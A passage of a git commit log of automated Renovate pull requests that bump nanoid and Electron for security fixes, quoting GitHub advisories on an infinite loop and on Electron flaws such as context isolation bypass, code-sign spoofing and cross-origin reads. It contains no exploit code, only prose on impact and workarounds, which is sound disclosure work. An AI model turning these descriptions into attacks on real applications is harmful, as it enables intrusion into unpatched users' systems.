fix(sequence): sequenceDiagram rect backgrounds using theme-aware
fallback colors

-
[#&#8203;7693](https://redirect.github.com/mermaid-js/mermaid/pull/7693)
[`afaf306`](https://redirect.github.com/mermaid-js/mermaid/commit/afaf3062381d115d66744413151b642f124dd9ba)
Thanks [@&#8203;dull-bird](https://redirect.github.com/dull-bird)! -
fix(quadrant-chart): allow CJK, emoji, Latin-1 accented characters, and
other non-ASCII text in unquoted axis/quadrant/point labels. Fixes
[#&#8203;7120](https://redirect.github.com/mermaid-js/mermaid/issues/7120).

-
[#&#8203;7751](https://redirect.github.com/mermaid-js/mermaid/pull/7751)
[`79e97cd`](https://redirect.github.com/mermaid-js/mermaid/commit/79e97cd7b9cb8f2d9bf6ba6d04de5cdeb4223d1b)
Thanks
[@&#8203;puneetdixit200](https://redirect.github.com/puneetdixit200)! -
fix(state): render state diagram click tooltips with mermaidTooltip

-
[#&#8203;7570](https://redirect.github.com/mermaid-js/mermaid/pull/7570)
[`c2305df`](https://redirect.github.com/mermaid-js/mermaid/commit/c2305df424963c0263d1c75804248db2969ee17e)
Thanks [@&#8203;PinguinsRule](https://redirect.github.com/PinguinsRule)!
- fix(state): Fix invalid syntax between state and '{'

-
[#&#8203;7758](https://redirect.github.com/mermaid-js/mermaid/pull/7758)
[`a4a250b`](https://redirect.github.com/mermaid-js/mermaid/commit/a4a250b96321e0648eecfbadbfb17b1537dff691)
Thanks [@&#8203;mk24x7](https://redirect.github.com/mk24x7)! -
fix(venn): render labeled higher-arity unions when the underlying
pairwise unions are not declared. Resolves
[#&#8203;7656](https://redirect.github.com/mermaid-js/mermaid/issues/7656).

- Updated dependencies
\[[`ea1c48f`](https://redirect.github.com/mermaid-js/mermaid/commit/ea1c48f53fce5d025388d386c90da8743ee25b13),
[`b4d0442`](https://redirect.github.com/mermaid-js/mermaid/commit/b4d0442dd1628acb3f71681519e7f47fc8bacf55),
[`4e63e9d`](https://redirect.github.com/mermaid-js/mermaid/commit/4e63e9d338b6476df283afd4a002072945bc4563),
[`216e4e9`](https://redirect.github.com/mermaid-js/mermaid/commit/216e4e9a61afceae885b00854f79e17373ccad31)]:
-
[@&#8203;mermaid-js/parser](https://redirect.github.com/mermaid-js/parser)@&#8203;1.2.0

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMi4wIiwidXBkYXRlZEluVmVyIjoiNDQuMTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-08-10 09:28:42 +08:00
renovate[bot] 46ea493ecb chore: bump up nanoid version to v5.1.16 [SECURITY] (#15454)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [nanoid](https://redirect.github.com/ai/nanoid) | [`5.1.6` →
`5.1.16`](https://renovatebot.com/diffs/npm/nanoid/5.1.6/5.1.16) |
![age](https://developer.mend.io/api/mc/badges/age/npm/nanoid/5.1.16?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nanoid/5.1.6/5.1.16?slim=true)
|

---

### nanoid: non-secure generators can loop indefinitely with negative
size
[CVE-2026-67214](https://nvd.nist.gov/vuln/detail/CVE-2026-67214) /
[GHSA-28wg-ghj8-5hjv](https://redirect.github.com/advisories/GHSA-28wg-ghj8-5hjv)

<details>
<summary>More information</summary>

#### Details
nanoid (Nano ID) before 5.1.16 contains an infinite loop in the
customAlphabet and nanoid functions of its non-secure module
(nanoid/non-secure). When these functions are given a negative size, the
loop counter is decremented from a negative value and never reaches its
termination condition, spinning indefinitely and hanging the calling
thread. An application that passes an unvalidated, attacker-controlled
negative size to these functions is exposed to a denial-of-service
condition.

#### Severity
- CVSS Score: 8.2 / 10 (High)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`

#### References
-
[https://nvd.nist.gov/vuln/detail/CVE-2026-67214](https://nvd.nist.gov/vuln/detail/CVE-2026-67214)
-
[https://github.com/ai/nanoid/commit/6ccc67bbaba71d3d77a21d9b636f4171a268ce49](https://redirect.github.com/ai/nanoid/commit/6ccc67bbaba71d3d77a21d9b636f4171a268ce49)
-
[https://github.com/ai/nanoid/releases/tag/5.1.16](https://redirect.github.com/ai/nanoid/releases/tag/5.1.16)
-
[https://www.vulncheck.com/advisories/nanoid-before-infinite-loop-via-negative-size-in-non-secure-module](https://www.vulncheck.com/advisories/nanoid-before-infinite-loop-via-negative-size-in-non-secure-module)
-
[https://github.com/ai/nanoid/pull/600](https://redirect.github.com/ai/nanoid/pull/600)
-
[https://github.com/ai/nanoid/pull/601](https://redirect.github.com/ai/nanoid/pull/601)
-
[https://github.com/ai/nanoid/commit/e835c9b71eab832bc6106944bdd26ea96cf2c66d](https://redirect.github.com/ai/nanoid/commit/e835c9b71eab832bc6106944bdd26ea96cf2c66d)
-
[https://github.com/advisories/GHSA-28wg-ghj8-5hjv](https://redirect.github.com/advisories/GHSA-28wg-ghj8-5hjv)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-28wg-ghj8-5hjv)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>ai/nanoid (nanoid)</summary>

###
[`v5.1.16`](https://redirect.github.com/ai/nanoid/blob/HEAD/CHANGELOG.md#5116)

[Compare
Source](https://redirect.github.com/ai/nanoid/compare/5.1.15...5.1.16)

- Fixed forever loop on negative size (by
[@&#8203;spokodev](https://redirect.github.com/spokodev)).

###
[`v5.1.15`](https://redirect.github.com/ai/nanoid/blob/HEAD/CHANGELOG.md#5115)

[Compare
Source](https://redirect.github.com/ai/nanoid/compare/5.1.14...5.1.15)

- Fixed random pool corruption on big ID sizes.

###
[`v5.1.14`](https://redirect.github.com/ai/nanoid/blob/HEAD/CHANGELOG.md#5114)

[Compare
Source](https://redirect.github.com/ai/nanoid/compare/5.1.13...5.1.14)

- Fixed npm package size regression.

###
[`v5.1.13`](https://redirect.github.com/ai/nanoid/blob/HEAD/CHANGELOG.md#5113)

[Compare
Source](https://redirect.github.com/ai/nanoid/compare/5.1.12...5.1.13)

- Fixed npm package size regression.

###
[`v5.1.12`](https://redirect.github.com/ai/nanoid/blob/HEAD/CHANGELOG.md#5112)

[Compare
Source](https://redirect.github.com/ai/nanoid/compare/5.1.11...5.1.12)

- Moved to npm Provenance and Staged Publishing.

###
[`v5.1.11`](https://redirect.github.com/ai/nanoid/blob/HEAD/CHANGELOG.md#5111)

[Compare
Source](https://redirect.github.com/ai/nanoid/compare/5.1.10...5.1.11)

- Fixed breaking Nano ID by requesting big ID.

###
[`v5.1.10`](https://redirect.github.com/ai/nanoid/blob/HEAD/CHANGELOG.md#5110)

[Compare
Source](https://redirect.github.com/ai/nanoid/compare/5.1.9...5.1.10)

- Fixed breaking Nano ID by requesting big ID (by
[@&#8203;alanzabihi](https://redirect.github.com/alanzabihi)).

###
[`v5.1.9`](https://redirect.github.com/ai/nanoid/blob/HEAD/CHANGELOG.md#519)

[Compare
Source](https://redirect.github.com/ai/nanoid/compare/5.1.8...5.1.9)

- Fixed npm package size regression.

###
[`v5.1.8`](https://redirect.github.com/ai/nanoid/blob/HEAD/CHANGELOG.md#518)

[Compare
Source](https://redirect.github.com/ai/nanoid/compare/5.1.7...5.1.8)

- Made `cusatomAlphabet` 75% faster (by
[@&#8203;saripovdenis](https://redirect.github.com/saripovdenis)).

###
[`v5.1.7`](https://redirect.github.com/ai/nanoid/blob/HEAD/CHANGELOG.md#517)

[Compare
Source](https://redirect.github.com/ai/nanoid/compare/5.1.6...5.1.7)

- Added `--version` to CLI (by
[@&#8203;mahmoodhamdi](https://redirect.github.com/mahmoodhamdi)).
- Updated `nanoid.js` for CDN (by
[@&#8203;mahmoodhamdi](https://redirect.github.com/mahmoodhamdi)).
- Fixed docs (by
[@&#8203;mahmoodhamdi](https://redirect.github.com/mahmoodhamdi)).
- Fixed `customRandom` types (by
[@&#8203;oguimbal](https://redirect.github.com/oguimbal)).

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMi4wIiwidXBkYXRlZEluVmVyIjoiNDQuMTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-08-10 09:28:27 +08:00
renovate[bot] 42322d13fe chore: bump up electron version to v39.8.10 [SECURITY] (#15441)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [electron](https://redirect.github.com/electron/electron) | [`39.8.6`
→ `39.8.10`](https://renovatebot.com/diffs/npm/electron/39.8.6/39.8.10)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/electron/39.8.10?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/39.8.6/39.8.10?slim=true)
|

---

### Electron: Parent process code-sign check is spoofable
[CVE-2026-70597](https://nvd.nist.gov/vuln/detail/CVE-2026-70597) /
[GHSA-jm7p-cc5g-qwxx](https://redirect.github.com/advisories/GHSA-jm7p-cc5g-qwxx)

<details>
<summary>More information</summary>

#### Details
##### Impact
On macOS, the check Electron uses to confirm it was launched by a
same-signed parent process could be bypassed by a local process. Apps
that enable the fuse-based hardening restricting `ELECTRON_RUN_AS_NODE`
and `NODE_OPTIONS` to same-signed parents rely on this check; a local
attacker could bypass it and run their own code inside the signed app,
inheriting its TCC permissions and keychain access.

Apps are only affected if they enable those macOS fuse-based
restrictions. Apps that do not enable them are not affected.

##### Workarounds
There are no app side workarounds, you must update to a patched version
of Electron.

##### Fixed Versions
* `42.0.0-beta.3`
* `41.2.1`
* `40.9.0`
* `39.8.8`

##### For more information
If you have any questions or comments about this advisory, email us at
[security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-jm7p-cc5g-qwxx](https://redirect.github.com/electron/electron/security/advisories/GHSA-jm7p-cc5g-qwxx)
-
[https://github.com/electron/electron/commit/0a6291a97d210db3733689e70a51f5711e38ed35](https://redirect.github.com/electron/electron/commit/0a6291a97d210db3733689e70a51f5711e38ed35)
-
[https://github.com/advisories/GHSA-jm7p-cc5g-qwxx](https://redirect.github.com/advisories/GHSA-jm7p-cc5g-qwxx)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-jm7p-cc5g-qwxx)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Electron: Off-screen rendering trusts GPU-supplied geometry over
shared-memory size
[CVE-2026-70598](https://nvd.nist.gov/vuln/detail/CVE-2026-70598) /
[GHSA-pfmc-3mgc-p6fp](https://redirect.github.com/advisories/GHSA-pfmc-3mgc-p6fp)

<details>
<summary>More information</summary>

#### Details
##### Impact
In offscreen rendering mode, frame data received from the GPU process
was not fully validated by the main process. A compromised GPU process
could cause the main process to read out-of-bounds memory while
producing `paint` event images, disclosing memory or crashing the app.

Apps are only affected if they use offscreen rendering
(`webPreferences.offscreen`) and an attacker has separately gained code
execution in the GPU process. Apps that do not use offscreen rendering
are not affected.

##### Workarounds
There are no app side workarounds, you must update to a patched version
of Electron.

##### Fixed Versions
* `42.0.0-beta.3`
* `41.2.1`
* `40.9.0`
* `39.8.10`

##### For more information
If you have any questions or comments about this advisory, email us at
[security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 3.9 / 10 (Low)
- Vector String: `CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-pfmc-3mgc-p6fp](https://redirect.github.com/electron/electron/security/advisories/GHSA-pfmc-3mgc-p6fp)
-
[https://github.com/electron/electron/commit/2c24640e7b0b9c74fe9f44bce0fde138340ff4fb](https://redirect.github.com/electron/electron/commit/2c24640e7b0b9c74fe9f44bce0fde138340ff4fb)
-
[https://github.com/advisories/GHSA-pfmc-3mgc-p6fp](https://redirect.github.com/advisories/GHSA-pfmc-3mgc-p6fp)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-pfmc-3mgc-p6fp)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Electron: Permission Check Handler Receives Main Frame Origin
Instead of Requesting Iframe Origin
[CVE-2026-70599](https://nvd.nist.gov/vuln/detail/CVE-2026-70599) /
[GHSA-9pf5-hg6p-4pwp](https://redirect.github.com/advisories/GHSA-9pf5-hg6p-4pwp)

<details>
<summary>More information</summary>

#### Details
##### Impact
For serial-port and media (camera / microphone) permission checks made
from an iframe, the `requestingOrigin` passed to
`session.setPermissionCheckHandler` was the top-level frame's origin
rather than the requesting frame's. Origin-based handler logic could
therefore grant a cross-origin iframe device access intended only for
the top-level origin.

Apps are only affected if they use `setPermissionCheckHandler` with
origin-based logic and embed cross-origin iframes with delegated device
permissions. Apps that base the decision on `details.securityOrigin`, or
that do not embed such iframes, are not affected.

##### Workarounds
Check `details.securityOrigin` instead of `requestingOrigin` for these
permissions, or do not delegate device permissions to untrusted iframes.

##### Fixed Versions
* `42.0.0-beta.1`
* `41.2.0`
* `40.9.0`
* `39.8.7`

##### For more information
If you have any questions or comments about this advisory, email
Electron at [security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 5.9 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-9pf5-hg6p-4pwp](https://redirect.github.com/electron/electron/security/advisories/GHSA-9pf5-hg6p-4pwp)
-
[https://github.com/electron/electron/commit/0cbdf2f0375466d701aa393c92e0ec29eb89ea6c](https://redirect.github.com/electron/electron/commit/0cbdf2f0375466d701aa393c92e0ec29eb89ea6c)
-
[https://github.com/advisories/GHSA-9pf5-hg6p-4pwp](https://redirect.github.com/advisories/GHSA-9pf5-hg6p-4pwp)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-9pf5-hg6p-4pwp)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Electron: Cross-origin iframe can position native autofill popup
[CVE-2026-70600](https://nvd.nist.gov/vuln/detail/CVE-2026-70600) /
[GHSA-x8rc-wpg4-grpf](https://redirect.github.com/advisories/GHSA-x8rc-wpg4-grpf)

<details>
<summary>More information</summary>

#### Details
##### Impact
The native autofill popup could be positioned by a cross-origin iframe
outside that iframe's bounds, over the embedding page's UI, enabling
clickjacking or spoofing of trusted UI.

Apps are only affected if they embed untrusted content in iframes within
windows that also display trusted UI. Apps that do not embed untrusted
third-party content are not affected.

##### Workarounds
Do not embed untrusted content in iframes inside windows that display
trusted UI.

##### Fixed Versions
* `42.0.0-beta.3`
* `41.2.1`
* `40.9.0`
* `39.8.8`

##### For more information
If you have any questions or comments about this advisory, email
Electron at [security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 3.1 / 10 (Low)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-x8rc-wpg4-grpf](https://redirect.github.com/electron/electron/security/advisories/GHSA-x8rc-wpg4-grpf)
-
[https://github.com/advisories/GHSA-x8rc-wpg4-grpf](https://redirect.github.com/advisories/GHSA-x8rc-wpg4-grpf)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-x8rc-wpg4-grpf)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Electron: Context isolation bypass via Function.prototype.bind
hijack
[CVE-2026-70601](https://nvd.nist.gov/vuln/detail/CVE-2026-70601) /
[GHSA-h7rp-cf8h-j98x](https://redirect.github.com/advisories/GHSA-h7rp-cf8h-j98x)

<details>
<summary>More information</summary>

#### Details
##### Impact
Apps that expose Promise-returning functions to web content via
`contextBridge` may be vulnerable to a context isolation bypass.
Untrusted web content could obtain access to the isolated preload world
and, through it, every capability the preload script has. In renderers
without a sandbox, or with `nodeIntegration` enabled, this may escalate
to Node.js access.

Apps are affected if they expose Promise-returning functions via
`contextBridge` — the standard pattern for wrapping `ipcRenderer.invoke`
— in windows that load untrusted content. Apps that never load untrusted
content in those windows are not affected.

##### Workarounds
There are no app side workarounds, you must update to a patched version
of Electron.

##### Fixed Versions
* `42.0.0-beta.5`
* `41.2.2`
* `40.9.2`
* `39.8.9`

##### For more information
If you have any questions or comments about this advisory, email
Electron at [security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-h7rp-cf8h-j98x](https://redirect.github.com/electron/electron/security/advisories/GHSA-h7rp-cf8h-j98x)
-
[https://github.com/advisories/GHSA-h7rp-cf8h-j98x](https://redirect.github.com/advisories/GHSA-h7rp-cf8h-j98x)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-h7rp-cf8h-j98x)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Electron: Extension tab APIs operate across session boundaries
[CVE-2026-70602](https://nvd.nist.gov/vuln/detail/CVE-2026-70602) /
[GHSA-m55f-7gqj-fr98](https://redirect.github.com/advisories/GHSA-m55f-7gqj-fr98)

<details>
<summary>More information</summary>

#### Details
##### Impact
Extension tab and scripting APIs were not scoped to the extension's own
`session`. A malicious or compromised extension loaded into one session
could navigate, script, and read from windows belonging to a different
session.

Apps are only affected if they load Chrome extensions via
`session.loadExtension` and rely on separate sessions to isolate that
extension from other content. Apps that do not load extensions, or that
use a single session, are not affected.

##### Workarounds
Only load extensions from sources you trust; do not rely on session
separation alone to contain an extension.

##### Fixed Versions
* `42.0.0-beta.3`
* `41.2.1`
* `40.9.0`
* `39.8.8`

##### For more information
If you have any questions or comments about this advisory, email
Electron at [security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 6.6 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-m55f-7gqj-fr98](https://redirect.github.com/electron/electron/security/advisories/GHSA-m55f-7gqj-fr98)
-
[https://github.com/advisories/GHSA-m55f-7gqj-fr98](https://redirect.github.com/advisories/GHSA-m55f-7gqj-fr98)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-m55f-7gqj-fr98)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Electron: Custom protocol with supportFetchAPI but not corsEnabled
allows cross-origin reads
[CVE-2026-70604](https://nvd.nist.gov/vuln/detail/CVE-2026-70604) /
[GHSA-v3j7-r9gq-3gjw](https://redirect.github.com/advisories/GHSA-v3j7-r9gq-3gjw)

<details>
<summary>More information</summary>

#### Details
##### Impact
A custom scheme registered with `supportFetchAPI: true` but without
`corsEnabled: true` was not subject to CORS enforcement. A page loaded
from a remote origin could therefore `fetch()` or `XMLHttpRequest` that
scheme cross-origin and read the full response body, rather than the
read being blocked.

Apps that serve sensitive data from such a scheme and load remote or
untrusted content in a renderer are affected. Apps that set
`corsEnabled: true`, or that do not load untrusted content, are not
affected.

##### Workarounds
Set `corsEnabled: true` on schemes that must enforce CORS, and validate
the request `Origin` in your protocol handler before returning sensitive
data.

##### Fixed Versions
* `42.0.0`
* `41.4.0`
* `40.9.3`
* `39.8.10`

##### For more information
If you have any questions or comments about this advisory, email
Electron at [security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 7.4 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-v3j7-r9gq-3gjw](https://redirect.github.com/electron/electron/security/advisories/GHSA-v3j7-r9gq-3gjw)
-
[https://github.com/advisories/GHSA-v3j7-r9gq-3gjw](https://redirect.github.com/advisories/GHSA-v3j7-r9gq-3gjw)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-v3j7-r9gq-3gjw)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Electron: HTTP redirect followed into local file loader
[CVE-2026-70605](https://nvd.nist.gov/vuln/detail/CVE-2026-70605) /
[GHSA-v64r-4m7r-3mvq](https://redirect.github.com/advisories/GHSA-v64r-4m7r-3mvq)

<details>
<summary>More information</summary>

#### Details
##### Impact
When following HTTP redirects, `net.fetch()` and `net.request()` did not
restrict which schemes a redirect could target. A remote server could
redirect a request to a local resource, and if the app returns or
forwards the response body, local file contents could be disclosed.

Apps are only affected if they make `net` requests to
attacker-influenced URLs with redirects followed (the default) and
expose the response body. Apps that only request fixed, trusted URLs are
not affected.

##### Workarounds
Set `redirect: 'error'` or `redirect: 'manual'` on requests to untrusted
URLs and validate any redirect target before following it.

##### Fixed Versions
* `42.0.0-beta.3`
* `41.2.1`
* `40.9.0`
* `39.8.8`

##### For more information
If you have any questions or comments about this advisory, email
Electron at [security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 5.9 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-v64r-4m7r-3mvq](https://redirect.github.com/electron/electron/security/advisories/GHSA-v64r-4m7r-3mvq)
-
[https://github.com/advisories/GHSA-v64r-4m7r-3mvq](https://redirect.github.com/advisories/GHSA-v64r-4m7r-3mvq)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-v64r-4m7r-3mvq)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Electron: window.open features string controls some window options
considered privileged
[CVE-2026-70607](https://nvd.nist.gov/vuln/detail/CVE-2026-70607) /
[GHSA-v93f-fgjr-hjrj](https://redirect.github.com/advisories/GHSA-v93f-fgjr-hjrj)

<details>
<summary>More information</summary>

#### Details
##### Impact
Some window options supplied by web content in the `window.open()`
features string were applied to the new `BrowserWindow` without an
allowlist. Untrusted content could set window options it should not
control, including options that cause the main process to access
attacker-chosen file or network paths.

Apps are only affected if untrusted content can call `window.open()` and
the app does not override child window options via
`setWindowOpenHandler`. Apps that deny `window.open()` for untrusted
content, or set `overrideBrowserWindowOptions` explicitly, are not
affected.

##### Workarounds
Return `{ action: 'deny' }` from `setWindowOpenHandler` for untrusted
content, or supply `overrideBrowserWindowOptions` so every window option
is set explicitly.

##### Fixed Versions
* `42.0.0-beta.3`
* `41.2.1`
* `40.9.0`
* `39.8.8`

##### For more information
If you have any questions or comments about this advisory, email
Electron at [security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-v93f-fgjr-hjrj](https://redirect.github.com/electron/electron/security/advisories/GHSA-v93f-fgjr-hjrj)
-
[https://github.com/electron/electron/pull/50946](https://redirect.github.com/electron/electron/pull/50946)
-
[https://github.com/electron/electron/pull/50947](https://redirect.github.com/electron/electron/pull/50947)
-
[https://github.com/electron/electron/pull/50948](https://redirect.github.com/electron/electron/pull/50948)
-
[https://github.com/electron/electron/pull/50949](https://redirect.github.com/electron/electron/pull/50949)
-
[https://github.com/electron/electron/commit/30cf3882de75ee651bd4e5f27002f13fd3d3163a](https://redirect.github.com/electron/electron/commit/30cf3882de75ee651bd4e5f27002f13fd3d3163a)
-
[https://github.com/electron/electron/commit/4eff3dc09e4d1e62d649c5ce9902f532bb7469c7](https://redirect.github.com/electron/electron/commit/4eff3dc09e4d1e62d649c5ce9902f532bb7469c7)
-
[https://github.com/electron/electron/commit/615d62500fc7732d068274b796c49487e652e90b](https://redirect.github.com/electron/electron/commit/615d62500fc7732d068274b796c49487e652e90b)
-
[https://github.com/electron/electron/commit/fe2e7d0073949b4593b624b93abf1788f5377e55](https://redirect.github.com/electron/electron/commit/fe2e7d0073949b4593b624b93abf1788f5377e55)
-
[https://github.com/electron/electron/releases/tag/v39.8.8](https://redirect.github.com/electron/electron/releases/tag/v39.8.8)
-
[https://github.com/electron/electron/releases/tag/v40.9.0](https://redirect.github.com/electron/electron/releases/tag/v40.9.0)
-
[https://github.com/electron/electron/releases/tag/v41.2.1](https://redirect.github.com/electron/electron/releases/tag/v41.2.1)
-
[https://github.com/electron/electron/releases/tag/v42.0.0-beta.3](https://redirect.github.com/electron/electron/releases/tag/v42.0.0-beta.3)
-
[https://github.com/advisories/GHSA-v93f-fgjr-hjrj](https://redirect.github.com/advisories/GHSA-v93f-fgjr-hjrj)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-v93f-fgjr-hjrj)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Electron: DevTools JavaScript Injection via Unsanitized Dock State
Parameter
[CVE-2026-70609](https://nvd.nist.gov/vuln/detail/CVE-2026-70609) /
[GHSA-4f78-qhmw-8j8m](https://redirect.github.com/advisories/GHSA-4f78-qhmw-8j8m)

<details>
<summary>More information</summary>

#### Details
##### Impact
The `mode` option of `webContents.openDevTools()` was not sanitized
before use by the DevTools frontend. If an attacker can influence this
value, script under their control may run in the DevTools context, which
in unsandboxed configurations has access to Node.js.

Apps are only affected if untrusted input can reach the `mode` argument
of `openDevTools()`, or if untrusted content can call `openDevTools()`
on a `<webview>` it embeds. Apps that only ever pass a fixed dock mode
are not affected.

##### Workarounds
Only pass fixed, allowlisted values (`right`, `bottom`, `undocked`,
`detach`) as the DevTools `mode`, and do not expose `openDevTools` to
untrusted content.

##### Fixed Versions
* `42.0.0-beta.1`
* `41.2.0`
* `40.9.0`
* `39.8.7`

##### For more information
If you have any questions or comments about this advisory, email
Electron at [security@electronjs.org](mailto:security@electronjs.org)

#### Severity
- CVSS Score: 5.7 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N`

#### References
-
[https://github.com/electron/electron/security/advisories/GHSA-4f78-qhmw-8j8m](https://redirect.github.com/electron/electron/security/advisories/GHSA-4f78-qhmw-8j8m)
-
[https://github.com/electron/electron/pull/50665](https://redirect.github.com/electron/electron/pull/50665)
-
[https://github.com/electron/electron/pull/50666](https://redirect.github.com/electron/electron/pull/50666)
-
[https://github.com/electron/electron/pull/50667](https://redirect.github.com/electron/electron/pull/50667)
-
[https://github.com/electron/electron/pull/50668](https://redirect.github.com/electron/electron/pull/50668)
-
[https://github.com/electron/electron/commit/04614eed17986bddc43eb509ec870424ee6a47d1](https://redirect.github.com/electron/electron/commit/04614eed17986bddc43eb509ec870424ee6a47d1)
-
[https://github.com/electron/electron/commit/2046ae87731d80a7b535512ae19acb529e10e33b](https://redirect.github.com/electron/electron/commit/2046ae87731d80a7b535512ae19acb529e10e33b)
-
[https://github.com/electron/electron/commit/969741f9f847c5c583f6bbc63ca22549dbd954ce](https://redirect.github.com/electron/electron/commit/969741f9f847c5c583f6bbc63ca22549dbd954ce)
-
[https://github.com/electron/electron/commit/efc4d3c6b6f1c04f658ca0d9d2512dcfe78eb7ba](https://redirect.github.com/electron/electron/commit/efc4d3c6b6f1c04f658ca0d9d2512dcfe78eb7ba)
-
[https://github.com/electron/electron/releases/tag/v39.8.7](https://redirect.github.com/electron/electron/releases/tag/v39.8.7)
-
[https://github.com/electron/electron/releases/tag/v40.9.0](https://redirect.github.com/electron/electron/releases/tag/v40.9.0)
-
[https://github.com/electron/electron/releases/tag/v41.2.0](https://redirect.github.com/electron/electron/releases/tag/v41.2.0)
-
